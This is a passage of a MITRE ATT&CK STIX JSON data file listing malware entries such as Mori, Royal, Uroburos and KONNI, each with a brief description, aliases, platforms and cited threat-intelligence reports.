2021.","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-17T14:42:30.109Z","name":"Mori","description":"[Mori](https://attack.mitre.org/software/S1047) is a backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Ozer Sarilar, @ozersarilar, STM"],"x_mitre_aliases":["Mori"],"type":"malware","id":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","created":"2022-09-30T15:21:05.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1047","external_id":"S1047"},{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:20:12.492Z","name":"QUADAGENT","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["QUADAGENT"],"type":"malware","id":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0269","external_id":"S0269"},{"source_name":"QUADAGENT","description":"(Citation: Unit 42 QUADAGENT July 2018)"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["TAINTEDSCRIBE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","type":"malware","created":"2021-03-05T15:56:44.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0586","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0586"},{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-04-26T15:52:00.433Z","name":"TAINTEDSCRIBE","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Sys10"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","type":"malware","created":"2017-05-31T21:32:40.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0060","url":"https://attack.mitre.org/software/S0060","source_name":"mitre-attack"},{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-18T23:13:31.404Z","name":"Sys10","description":"[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["pngdowner"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--800bdfba-6d66-480f-9f45-15845c05cb5d","type":"malware","created":"2017-05-31T21:32:44.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0067","external_id":"S0067"},{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:39:05.662Z","name":"pngdowner","description":"[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-17T13:11:47.488Z","name":"Royal","description":"[Royal](https://attack.mitre.org/software/S1073) is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. [Royal](https://attack.mitre.org/software/S1073) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://attack.mitre.org/software/S1073) has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://attack.mitre.org/software/S1073) and [Conti](https://attack.mitre.org/software/S0575) attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Wataru Takahashi, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["Royal"],"type":"malware","id":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","created":"2023-03-30T20:25:37.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1073","external_id":"S1073"},{"source_name":"CISA Royal AA23-061A March 2023","description":"CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a"},{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Kroll Royal Deep Dive February 2023","description":"Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.","url":"https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"},{"source_name":"Trend Micro Royal Linux ESXi February 2023","description":"Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.","url":"https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"},{"source_name":"Microsoft Royal ransomware November 2022","description":"MSTIC. (2022, November 17). DEV-0569 finds new ways to deliver Royal ransomware, various payloads. Retrieved March 30, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:54:10.246Z","name":"BendyBear","description":"[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BendyBear"],"type":"malware","id":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","created":"2021-02-16T16:50:29.990Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0574","external_id":"S0574"},{"source_name":"BendyBear","description":"(Citation: Unit42 BendyBear Feb 2021)"},{"source_name":"Unit42 BendyBear Feb 2021","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021.","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:18:48.304Z","name":"Uroburos","description":"[Uroburos](https://attack.mitre.org/software/S0022) is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the [Turla](https://attack.mitre.org/groups/G0010) toolset to collect intelligence on sensitive targets worldwide. [Uroburos](https://attack.mitre.org/software/S0022) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://attack.mitre.org/software/S0022) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://attack.mitre.org/software/S0022) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)(Citation: Kaspersky Turla)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["Uroburos","Snake"],"type":"malware","id":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","created":"2017-05-31T21:32:19.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0022","external_id":"S0022"},{"source_name":"Snake","description":"(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)"},{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:44:30.028Z","name":"Metamorfo","description":"[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_contributors":["Jose Luis Sánchez Martinez","Chen Erlich, @chen_erlich, enSilo"],"x_mitre_aliases":["Metamorfo","Casbaneiro"],"type":"malware","id":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","created":"2020-05-26T17:34:19.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0455","external_id":"S0455"},{"source_name":"Casbaneiro","description":"(Citation: ESET Casbaneiro Oct 2019)"},{"source_name":"Metamorfo","description":"(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) "},{"source_name":"Medium Metamorfo Apr 2020","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"},{"source_name":"ESET Casbaneiro Oct 2019","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-18T20:03:31.986Z","name":"Spica","description":"[Spica](https://attack.mitre.org/software/S1140) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://attack.mitre.org/groups/G1033) since at least 2023.(Citation: Google TAG COLDRIVER January 2024) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Spica"],"type":"malware","id":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","created":"2024-06-18T20:03:12.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1140","external_id":"S1140"},{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Trojan.Karagany","xFrost","Karagany"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","created":"2017-05-31T21:33:00.176Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"S0094","url":"https://attack.mitre.org/software/S0094"},{"source_name":"xFrost","description":"(Citation: Secureworks Karagany July 2019)"},{"source_name":"Karagany","description":"(Citation: Secureworks Karagany July 2019)"},{"source_name":"Dragos DYMALLOY ","url":"https://www.dragos.com/threat/dymalloy/","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."},{"source_name":"Symantec Dragonfly","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY )","modified":"2022-04-19T14:57:44.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Trojan.Karagany","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Bandook"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0234","external_id":"S0234"},{"url":"https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf","description":"Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.","source_name":"EFF Manul Aug 2016"},{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"},{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:42:14.066Z","name":"Bandook","description":"[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:26:37.214Z","name":"PipeMon","description":"[PipeMon](https://attack.mitre.org/software/S0501) is a multi-stage modular backdoor used by [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: ESET PipeMon May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Mathieu Tartare, ESET","Martin Smolár, ESET"],"x_mitre_aliases":["PipeMon"],"type":"malware","id":"malware--8393dac0-0583-456a-9372-fd81691bca20","created":"2020-08-24T13:15:51.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0501","external_id":"S0501"},{"source_name":"ESET PipeMon May 2020","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020.","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SYNful Knock"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053","type":"malware","created":"2020-10-19T16:38:11.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0519","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0519"},{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.027Z","name":"SYNful Knock","description":"[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:32:05.321Z","name":"TINYTYPHON","description":"[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["TINYTYPHON"],"type":"malware","id":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","created":"2017-05-31T21:33:15.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0131","external_id":"S0131"},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:44:46.026Z","name":"KONNI","description":"[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_contributors":["Doron Karmi, @DoronKarmi"],"x_mitre_aliases":["KONNI"],"type":"malware","id":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","created":"2019-01-31T00:36:39.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0356","external_id":"S0356"},{"source_name":"KONNI","description":"(Citation: Talos Konni May 2017)(Citation: Malwarebytes Konni Aug 2021)"},{"source_name":"Unit 42 Nokki Oct 2018","description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"},{"source_name":"Unit 42 NOKKI Sept 2018","description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"},{"source_name":"Medium KONNI Jan 2020","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b"},{"source_name":"Talos Konni May 2017","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html"},{"source_name":"Malwarebytes Konni Aug 2021","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["T9000"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","type":"malware","created":"2017-05-31T21:33:01.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0098","external_id":"S0098"},{"source_name":"FireEye admin@338 March 2014","description":"Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html"},{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-31T12:40:49.213Z","name":"T9000","description":"[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:36:12.150Z","name":"Winnti for 